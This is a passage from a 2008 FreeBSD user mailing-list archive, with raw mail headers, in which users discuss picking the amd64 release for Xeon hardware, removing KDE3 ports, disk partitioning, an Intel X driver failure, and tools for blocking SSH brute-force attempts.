zlpFc4J6xq2kg6FAO+kvs7nIur6Hyu+5I2CONU28n5tjJN/Bj09igPpnLBo8G/ksH6qH LF12U32OOZavK4wRYdrbJXG+Bne5KGniCt0+A= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=ANXkr68PhvBwnU3vkvvsdjXlKQjcaR3dixuQXd8DlegA6CcJEQsu2wewKMYnBeN8cq lOx9OtpWimrvQloc65xGErcEiqdoT0T+cjpM55c9Cp4kH6ZFW6F8wuFSvRdI1rgl07dL E7nSsuUxisV3nvf+mk2z9sHA1YzBPatUVtuak= Received: by 10.103.52.7 with SMTP id e7mr5211934muk.52.1228221422697; Tue, 02 Dec 2008 04:37:02 -0800 (PST) Received: by 10.103.168.18 with HTTP; Tue, 2 Dec 2008 04:37:02 -0800 (PST) Message-ID: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> Date: Tue, 2 Dec 2008 13:37:02 +0100 From: "Ebbe Hjorth" To: "Pieter Donche" In-Reply-To: MIME-Version: 1.0 References: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:37:04 -0000 Hi, All new XEON cpus are 64-bit spo use the 64 bit freebsd version. 368 vs 372 is that the 64 bit is compiled for 64 bit, and uses a little more space. / Ebbe 2008/12/2 Pieter Donche > If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors > Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what > distribution of FreeBSD 7.0 applies: i386 or ia64 ? > > Why are the ISO's so different in size between i386 and ia64 (i386: > disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:39:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 50B681065677 for ; Tue, 2 Dec 2008 12:39:53 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from hawk.thalamus.net (hawk.thalamus.net [212.31.160.3]) by mx1.freebsd.org (Postfix) with ESMTP id 060718FC12 for ; Tue, 2 Dec 2008 12:39:52 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from localhost (localhost.thalamus.net [127.0.0.1]) by hawk.thalamus.net (Postfix) with ESMTP id AD06E1EE9A5 for ; Tue, 2 Dec 2008 13:39:07 +0100 (CET) X-Virus-Scanned: by amavisd-new at thalamus.net X-Spam-Flag: NO X-Spam-Score: 2.437 X-Spam-Level: ** X-Spam-Status: No, score=2.437 tagged_above=-999 required=4.2 tests=[AWL=-0.732, HELO_LH_HOME=3.169] Received: from hawk.thalamus.net ([127.0.0.1]) by localhost (hawk.thalamus.net [127.0.0.1]) (amavisd-new, port 10024) with LMTP id ni+xddn-NkXM for ; Tue, 2 Dec 2008 13:38:44 +0100 (CET) Received: from lesbsdpc.homenet.home (c-195-216-040-164.static.bjare.net [195.216.40.164]) by hawk.thalamus.net (Postfix) with ESMTP id 8D3BF1EE8B8 for ; Tue, 2 Dec 2008 13:37:02 +0100 (CET) Message-ID: <49352BF5.5040704@eskk.nu> Date: Tue, 02 Dec 2008 13:37:09 +0100 From: Leslie Jensen User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <4934E5DA.6040308@eskk.nu> <20081202071353.222f8df0@scorpio> In-Reply-To: <20081202071353.222f8df0@scorpio> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Uninstalling kde3 meta-port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:39:53 -0000 Jerry skrev: > On Tue, 02 Dec 2008 08:38:02 +0100 > Leslie Jensen wrote: > >> How would you guys uninstall a meta-port? >> >> I'm considering a move to kde4 but I want a clean install, so I want >> to remove the kde3 meta-port first. > > Well, you might try navigating to the kde3 port > and running: make deinstall. Alternately, you could try running > something like 'pkg_delete'; i.e.: "pkg_delete -vdf kde-3.5.10". > Well, I tried your first suggestion before I posted, and it only removes the meta-port but none of the ports it has installed. The second suggestion I have not tried because I want it to do a recursive deinstall without touching any ports that are dependencies of other installed ports. Maybe it is as simple as pkg_delete -r, but because I saw what happend when deinstaling the meta-port I felt I needed to ask to be sure. I could ofcourse deinstall kde, kdebase, kdehier and so forth but I'm looking for a smarter way to do it. /Leslie From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:48:53 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 10FC71065672 for ; Tue, 2 Dec 2008 12:48:53 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 502E78FC19 for ; Tue, 2 Dec 2008 12:48:52 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2CmQSc015238; Tue, 2 Dec 2008 13:48:26 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2CmO6F015235; Tue, 2 Dec 2008 13:48:26 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 13:48:24 +0100 (CET) From: Wojciech Puchar To: Polytropon In-Reply-To: <20081202111740.96805018.freebsd@edvax.de> Message-ID: <20081202134750.C15234@wojtek.tensor.gdynia.pl> References: <20081202111740.96805018.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Pieter Donche , "mail.list freebsd-questions" Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:48:53 -0000 >> ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > You're mixing terminology here. :-) The "use entire disk" will > create a slice for FreeBSD covering the complete disk. A slice > is what MICROS~1 calls "primary partition". > > Now the conclusion: Let's say you create a slice on ad0, it will > be ad0s1. Now you can create partitions inside this slice as you by not using sysinstall (simple manual install) there is no need to create slices at all just disklabel works fine. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:50:06 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 321541065678 for ; Tue, 2 Dec 2008 12:50:06 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 5C6D68FC0C for ; Tue, 2 Dec 2008 12:50:04 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2CnvCL015245; Tue, 2 Dec 2008 13:49:57 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2CnvZQ015242; Tue, 2 Dec 2008 13:49:57 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 13:49:57 +0100 (CET) From: Wojciech Puchar To: Niki Kovacs In-Reply-To: <4935183E.1030100@kikinovak.net> Message-ID: <20081202134902.A15234@wojtek.tensor.gdynia.pl> References: <4935183E.1030100@kikinovak.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Introduction X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:50:06 -0000 > I don't know why, but it looks like I never crossed paths with FreeBSD. Only > recently, I took a peek in the apparently well-written documentation. Now I > have some spare time and also a spare machine (a Fujitsu Lifebook), and I > thought I'd give FreeBSD a spin, just out of mere curiosity. unfortunately i was too unaware of *BSD systems and used linux, until it got so unusable with time i started to actively seek something else. Moved to NetBSD, then to FreeBSD From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:50:29 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 468CB106570B for ; Tue, 2 Dec 2008 12:50:29 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (hmacs.cmi.ua.ac.be [143.129.75.10]) by mx1.freebsd.org (Postfix) with ESMTP id CE0F08FC08 for ; Tue, 2 Dec 2008 12:50:28 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (localhost [127.0.0.1]) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8) with ESMTP id mB2CoSR6009285; Tue, 2 Dec 2008 13:50:28 +0100 (CET) Received: from localhost (pdon@localhost) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8/Submit) with ESMTP id mB2CoSGt009282; Tue, 2 Dec 2008 13:50:28 +0100 (CET) X-Authentication-Warning: hmacs.cmi.ua.ac.be: pdon owned process doing -bs Date: Tue, 2 Dec 2008 13:50:28 +0100 (CET) From: Pieter Donche X-X-Sender: pdon@hmacs.cmi.ua.ac.be To: Ebbe Hjorth In-Reply-To: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> Message-ID: References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Pieter Donche List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:50:29 -0000 On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > Hi, > All new XEON cpus are 64-bit spo use the 64 bit freebsd version. So this would point to "ia64" distribution? But clicking op www.freebsd.com/where.html - Hardware notes/View tells for ia64: Currently supported processors are Itanium and Itanium2 There nothing about Intel XEON ?? > > 368 vs 372 is that the 64 bit is compiled for 64 bit, and uses a little more > space. what is "368 vs 372" ?? > > > / Ebbe > > 2008/12/2 Pieter Donche > >> If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors >> Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what >> distribution of FreeBSD 7.0 applies: i386 or ia64 ? >> >> Why are the ISO's so different in size between i386 and ia64 (i386: >> disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to " >> freebsd-questions-unsubscribe@freebsd.org" >> > From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:55:37 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E836A1065676 for ; Tue, 2 Dec 2008 12:55:37 +0000 (UTC) (envelope-from onemda@gmail.com) Received: from yx-out-2324.google.com (yx-out-2324.google.com [74.125.44.29]) by mx1.freebsd.org (Postfix) with ESMTP id 9E4208FC20 for ; Tue, 2 Dec 2008 12:55:37 +0000 (UTC) (envelope-from onemda@gmail.com) Received: by yx-out-2324.google.com with SMTP id 8so1187954yxb.13 for ; Tue, 02 Dec 2008 04:55:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=8iROc15K8H08RONKFgtw/MNOC8Im9W9/pad49FnHaaw=; b=Lr/6YRplT35iP0hYvQYyfklwak6yCRPj43UaFsOQNFno3/xdfIlMt+6DU2UE+Carxw dGPk1fbZXJTeKjEVKCIdv+iv3SX+DiiE8arJXzK/U66UwCm6+QgxMsF8Y7sdlaKlhpnz Now0uJLQpeoPfTYTmbF5QvAKkh5RmXFX7fPrA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=AfhwcLudjdtlP3oQAtw5NXDCVmC0h1itoEYNPqQpjREFX26V3y7o6p/weuJysZZaJG FxpGcYlKvWhcfaBO/o3y6RE1N+OB6g45djB2J+0iGbjKogzh9/U+7SpuXT36+WqAiRg2 /Va+Lynf1tLzsGfAQE9kjxgGlrHCw0Z/fg1zo= Received: by 10.231.15.73 with SMTP id j9mr45515iba.53.1228222536582; Tue, 02 Dec 2008 04:55:36 -0800 (PST) Received: by 10.231.19.8 with HTTP; Tue, 2 Dec 2008 04:55:36 -0800 (PST) Message-ID: <3a142e750812020455j4fc5005dxbb2b8d84b38ffe5c@mail.gmail.com> Date: Tue, 2 Dec 2008 13:55:36 +0100 From: "Paul B. Mahol" To: "Niki Kovacs" In-Reply-To: <49351D20.7030507@kikinovak.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <49351D20.7030507@kikinovak.net> Cc: freebsd-questions@freebsd.org Subject: Re: Problem configuring X: FreeBSD 6.4, Intel video card, Fujitsu lifebook X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:55:38 -0000 On 12/2/08, Niki Kovacs wrote: > Hi, > > I just installed FreeBSD 6.4 on a Fujitsu lifebook. I'm quite new to > FreeBSD (see previous post "Introduction"). Some time ago, I had bought > (and partially read) Michael Urban's "FreeBSD 6 Unleashed". I just > worked through the initial chapters, and managed installing FreeBSD and > configuring X just fine. Only I ran into trouble installing a desktop > environment, since building gnome2-lite failed. I thought before doing > anything, I'd get a more recent set of FreeBSD install discs, since the > book includes 6.1, which seems a bit outdated. > > Now I did an install using a set of 6.4 install discs. Everything ran > fine, except I can't get X to work anymore. > > Configuration: > > # Xorg -configure > # mv /root/xorg.conf.new /etc/X11/xorg.conf > > And then test: > > # startx > > X crashes with the following error message: > > Fatal server error: > Couldn't find PLL settings for mode! > > I googled about this and found a few results... on the Ubuntu 8.10 > bugtracker. Apparently the 'intel' video driver has some problems with > my specific Intel video card. > > What now? Try to use the older 'i810' instead of 'intel'? But how would > I do that? Simply replacing the corresponding "Driver" line in xorg.conf > doesn't help. Because xf86-video-i810 conflicts with xf86-video-intel and for xf86-video-intel 'i810' is alias for 'intel' in xorg.conf. To really test 'i810' driver you should deinstall xf86-video-intel and install xf86-video-i810. -- Paul From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:56:00 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CD99F1065670 for ; Tue, 2 Dec 2008 12:56:00 +0000 (UTC) (envelope-from D.Forsyth@ru.ac.za) Received: from f.mail.ru.ac.za (f.mail.ru.ac.za [IPv6:2001:4200:1010::25:6]) by mx1.freebsd.org (Postfix) with ESMTP id 10E788FC13 for ; Tue, 2 Dec 2008 12:56:00 +0000 (UTC) (envelope-from D.Forsyth@ru.ac.za) Received: from iwr.ru.ac.za ([146.231.64.249]:60835) by f.mail.ru.ac.za with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L7UnF-000O9N-1m for freebsd-questions@freebsd.org; Tue, 02 Dec 2008 14:55:57 +0200 Received: from iwr61.iwr.ru.ac.za ([146.231.64.161]) by iwr.ru.ac.za with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L7UnF-0002C1-1B for freebsd-questions@freebsd.org; Tue, 02 Dec 2008 14:55:57 +0200 From: "DA Forsyth" Organization: IWR To: freebsd-questions@freebsd.org Date: Tue, 02 Dec 2008 14:55:56 +0200 MIME-Version: 1.0 Message-ID: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> Priority: normal X-mailer: Pegasus Mail for Windows (4.41) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-Virus-Scanned: f.mail.ru.ac.za (146.231.129.38) Subject: sshit runs out of semaphores X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: d.forsyth@ru.ac.za List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:56:00 -0000 Hiya I recently started (trying) to use sshit to filter the many brute force sshd attacks. However, it has never worked on my box. FreeBSD 7.0 p1. This morning it would only give a message (without exiting) Could not create semaphore set: No space left on device at /usr/local/sbin/sshit line 322 Every time it gets stopped by CTRL-C it leaves the shared memory behind, allocated. I am going to reboot later and double the number of semaphores (in loader.conf). I am running hobbit which uses 8, leaving only 2 free. This may solve this issue, but I'd appreciate any ideas and experienced advice. A side issue is that sshit will only filter rapid fire attacks, but I am also seeing 'slow fire' attacks, where an IP is repeated every 2 or 3 hours, but there seem to be a network of attackers because the name sequence is kept up across many incoming IP's. Is there any script for countering these attacks? If not I'll write one I think. -- DA Fo rsyth Network Supervisor Principal Technical Officer -- Institute for Water Research http://www.ru.ac.za/institutes/iwr/ From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:57:09 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0F9ED1065676 for ; Tue, 2 Dec 2008 12:57:09 +0000 (UTC) (envelope-from ebbe.hjorth@gmail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.26]) by mx1.freebsd.org (Postfix) with ESMTP id 8B4C38FC1F for ; Tue, 2 Dec 2008 12:57:08 +0000 (UTC) (envelope-from ebbe.hjorth@gmail.com) Received: by ey-out-2122.google.com with SMTP id 6so1242217eyi.7 for ; Tue, 02 Dec 2008 04:57:07 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type:references; bh=cnQkTH45cHmGE9aHeVHZ+/5u5GubXW92L3mOlYJcG7w=; b=iEo8ThsrXgJWWRYOvwoLPKJ9Vnv9YshDUvWdLckH/3Kv25TZ020emTj5tjaq5WXG8u +AVIFtdxRtbWpQ0TbRYa6yST47pVEk2QMDrRDMLNnLIw/GLwc0kIHu85iuUMIzLcNGVj atas4Nncejx/7J96t8Fs3CiFXQE4rQkQVryq8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:references; b=crpST7B8tWjMaXEyOTfxcPONgHti2qKNKLe7r8sF9I1yGZXYepmcej4SvBuR/kvvxt cVOxk1CUk7NYPll0cabC8Yl6V0LNCDzMOTe7cQdU5LhyHbWey53owWSjgEaKmA0Jh17j Nr/YnWkLOcj9oQLH64rq7sfpm3TDMGXwE0Pn8= Received: by 10.103.192.2 with SMTP id u2mr5222408mup.95.1228222626918; Tue, 02 Dec 2008 04:57:06 -0800 (PST) Received: by 10.103.168.18 with HTTP; Tue, 2 Dec 2008 04:57:06 -0800 (PST) Message-ID: <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> Date: Tue, 2 Dec 2008 13:57:06 +0100 From: "Ebbe Hjorth" To: "Pieter Donche" In-Reply-To: MIME-Version: 1.0 References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:57:09 -0000 2008/12/2 Pieter Donche > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > > Hi, >> All new XEON cpus are 64-bit spo use the 64 bit freebsd version. >> > So this would point to "ia64" distribution? > But clicking op www.freebsd.com/where.html - Hardware notes/View > tells for ia64: Currently supported processors are Itanium and Itanium2 > There nothing about Intel XEON ?? > I never googled it before, but 2 sec gave me http://www.freebsd.org/releases/7.0R/hardware.html#PROC-AMD64 So use the amd64 ;) > >> 368 vs 372 is that the 64 bit is compiled for 64 bit, and uses a little >> more >> space. >> > what is "368 vs 372" ?? The size difference you talked about (368 vs 0.372) > >> >> / Ebbe >> >> 2008/12/2 Pieter Donche >> >> If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors >>> Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what >>> distribution of FreeBSD 7.0 applies: i386 or ia64 ? >>> >>> Why are the ISO's so different in size between i386 and ia64 (i386: >>> disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) >>> _______________________________________________ >>> freebsd-questions@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>> To unsubscribe, send any mail to " >>> freebsd-questions-unsubscribe@freebsd.org" >>> >>> >> From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 12:58:57 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 619FA106568A for ; Tue, 2 Dec 2008 12:58:57 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 7E7758FC24 for ; Tue, 2 Dec 2008 12:58:56 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2CwnH2015290; Tue, 2 Dec 2008 13:58:49 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2CwnZs015287; Tue, 2 Dec 2008 13:58:49 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 13:58:49 +0100 (CET) From: Wojciech Puchar To: Pieter Donche In-Reply-To: Message-ID: <20081202135820.P15274@wojtek.tensor.gdynia.pl> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: "mail.list freebsd-questions" Subject: Re: FreeBSD 7.0: which distribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 12:58:57 -0000 > If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors > Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what > distribution of FreeBSD 7.0 applies: i386 or ia64 ? > > Why are the ISO's so different in size between i386 and ia64 (i386: > disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) ia64 is itanium. you need amd64. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 13:25:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 493B5106564A for ; Tue, 2 Dec 2008 13:25:26 +0000 (UTC) (envelope-from glarkin@FreeBSD.org) Received: from mail1.sourcehosting.net (113901-app1.sourcehosting.net [72.32.213.11]) by mx1.freebsd.org (Postfix) with ESMTP id 21E298FC22 for ; Tue, 2 Dec 2008 13:25:26 +0000 (UTC) (envelope-from glarkin@FreeBSD.org) Received: from 68-189-244-97.dhcp.oxfr.ma.charter.com ([68.189.244.97] helo=Gregory-Larkins-Computer.local) by mail1.sourcehosting.net with esmtp (Exim 4.69 (FreeBSD)) (envelope-from ) id 1L7VFj-0002vb-BC; Tue, 02 Dec 2008 08:25:24 -0500 Received: from [127.0.0.1] (fireball.entropy.prv [192.168.1.12]) by Gregory-Larkins-Computer.local (Postfix) with ESMTP id 475AD28362E9; Tue, 2 Dec 2008 08:25:23 -0500 (EST) Message-ID: <49353742.9050400@FreeBSD.org> Date: Tue, 02 Dec 2008 08:25:22 -0500 From: Greg Larkin Organization: The FreeBSD Project User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: d.forsyth@ru.ac.za References: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> In-Reply-To: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> X-Enigmail-Version: 0.95.7 OpenPGP: id=1C940290 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: -1.6 (-) Cc: freebsd-questions@freebsd.org Subject: Re: sshit runs out of semaphores X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: glarkin@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 13:25:26 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 DA Forsyth wrote: > Hiya > > I recently started (trying) to use sshit to filter the many brute > force sshd attacks. > > However, it has never worked on my box. FreeBSD 7.0 p1. > > This morning it would only give a message (without exiting) > Could not create semaphore set: No space left on device > at /usr/local/sbin/sshit line 322 > Every time it gets stopped by CTRL-C it leaves the shared memory > behind, allocated. > > I am going to reboot later and double the number of semaphores (in > loader.conf). > I am running hobbit which uses 8, leaving only 2 free. This may > solve this issue, but I'd appreciate any ideas and experienced > advice. > > A side issue is that sshit will only filter rapid fire attacks, but I > am also seeing 'slow fire' attacks, where an IP is repeated every 2 > or 3 hours, but there seem to be a network of attackers because the > name sequence is kept up across many incoming IP's. Is there any > script for countering these attacks? > If not I'll write one I think. > > > -- > DA Fo rsyth Network Supervisor > Principal Technical Officer -- Institute for Water Research > http://www.ru.ac.za/institutes/iwr/ Hi DA, I previously used sshit to defend against SSH brute-force attacks but never saw the semaphore problem that you reported. However, I recently switched to sshguard for other reasons, and it has worked well for defending against both high-speed and slow-speed attacks. You can get more information here: http://sshguard.sourceforge.net/ http://www.freshports.org/security/sshguard-ipfw/ Hope that helps, Greg - -- Greg Larkin http://www.FreeBSD.org/ - The Power To Serve http://www.sourcehosting.net/ - Ready. Set. Code. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFJNTdC0sRouByUApARAt/uAKCkRzJ7f67aKhBxQNRrI9gI7eRu3QCeL+tA 2hG4DfmVSHFgOO+GvUiNniM= =oAa+ -----END PGP SIGNATURE----- From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 13:54:32 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 